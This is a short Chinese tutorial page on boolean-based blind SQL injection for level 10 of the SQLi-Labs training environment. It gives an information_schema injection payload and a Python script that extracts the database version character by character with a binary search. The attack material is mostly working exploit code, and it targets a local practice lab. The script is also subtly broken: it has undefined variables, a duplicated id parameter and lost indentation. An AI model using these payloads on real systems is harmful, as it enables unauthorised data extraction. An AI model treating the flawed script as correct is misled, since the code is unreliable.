做sqli-labs第10关布尔盲注
时间: 2025-01-04 20:29:31 浏览: 6
### SQL注入实验环境中的布尔盲注攻击
布尔盲注是一种通过观察应用程序响应来推断数据库内容的方法。对于SQLi-Labs第10关,目标是在不知道具体错误消息的情况下利用布尔条件判断语句执行情况。
#### 利用流程
为了实现这一目的,可以构建如下查询结构:
```sql
' AND (SELECT ASCII(SUBSTRING((SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 1),1,1))) > 97 --
```
此查询尝试逐字符猜测表名的第一个字母ASCII码值是否大于给定数值。如果返回页面正常,则表示条件成立;反之则不成立。以此类推逐步缩小范围直至确定确切字符[^1]。
接着按照相同逻辑继续获取后续各位置上的字符直到完整还原整个字符串为止。需要注意的是,在实际操作过程中应当调整`LIMIT`参数以及起始偏移量以遍历多个记录项。
此外还可以采用二分查找算法优化效率,即每次测试中间值从而快速定位到正确答案区间内。
#### Python脚本实例
下面是一个简单的Python脚本来自动化上述过程:
```python
import requests
def check(payload):
url = "http://localhost/sqli/Less-10/?id=1"
params = {'id': payload}
response = requests.get(url, params=params)
# 假设当存在漏洞时网页会显示不同内容长度
return len(response.text) != normal_length
target_string = ""
for i in range(1, max_length + 1):
low, high = 32, 126
while low <= high:
mid = int((low + high)/2)
payload = f"1' AND ASCII(SUBSTR((SELECT @@version),{i},1))>{mid} -- "
if check(payload):
low = mid + 1
else:
high = mid - 1
target_string += chr(low)
print(f"The extracted string is {target_string}")
```
阅读全文